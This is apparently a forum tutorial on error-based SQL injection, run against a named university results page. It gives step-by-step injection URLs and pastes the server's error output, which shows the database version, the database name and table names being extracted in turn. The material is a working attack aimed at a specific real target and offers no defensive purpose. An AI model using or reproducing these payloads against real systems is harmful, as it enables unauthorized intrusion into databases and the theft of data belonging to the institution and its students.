SQL INJECTION

It can be done by error based injection like this

Code:

http://www.pu.edu.pk/results/details.asp?result id=2323 having 1=1--

Column 'results.resid' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.

Code:

http://www.pu.edu.pk/results/details.asp?result%20id=2323%20GROUP%20BY%20results.resid%20HAVING%201=1--

Column 'results.deptid' is invalid in the select list because it is not contained in either an aggregate function or the

Code:

http://www.pu.edu.pk/results/details.asp?result%20id=2323%20GROUP%20BY%20results.resid,results.deptid%20HAVIN​G%201=1--

Column 'results.resheader' is invalid in the select list because it is not c

like keep going until you are getting tables
and their is also a another way

2nd Way

Code:

http://www.pu.edu.pk/results/details.asp?result%20id=2323%20+or+1=convert%28int,%28@@version%29%29--

nvarchar value 'Microsoft SQL Server 2005 - 9.00.1399.06 (Intel X86) Oct 14 2005 00:33:37 Copyright © 1988-2005 Microsoft Corporation Standard Edition on Windows NT 5.2 (Build 3790: Service Pack 2) ' to data type int.

Code:

http://www.pu.edu.pk/results/details.asp?result%20id=2323%20+or+1=convert%28int,%28DB_Name%20%28%29%29%29--

converting the nvarchar value 'webmaindb' to data type 

Table names

Code:

http://www.pu.edu.pk/results/details.asp?result%20id=2323%20+or+1=convert%28int,%28select%20top%201%20table_n​ame%20from%20information_schema.tables%29%29--

nvarchar value 'admissionnotice' to

Once you get 1st table go for another table..

Code:

http://www.pu.edu.pk/results/details.asp?result%20id=2323%20+or+1=convert%28int,%28select%20top%201%20table_n​ame%20from%20information_schema.tables%20where%20table_name%20not%20in%20%28%27a​dmissionnotice%27%29%29%29--

varchar value 'admissions' to data type int.

after that go for 3rd

Code:

http://www.pu.edu.pk/results/details.asp?result%20id=2323%20+or+1=convert%28int,%28select%20top%201%20table_n​ame%20from%20information_schema.tables%20where%20table_name%20not%20in%20%28%27a​dmissionnotice%27,%27admissions%27%29%29%29--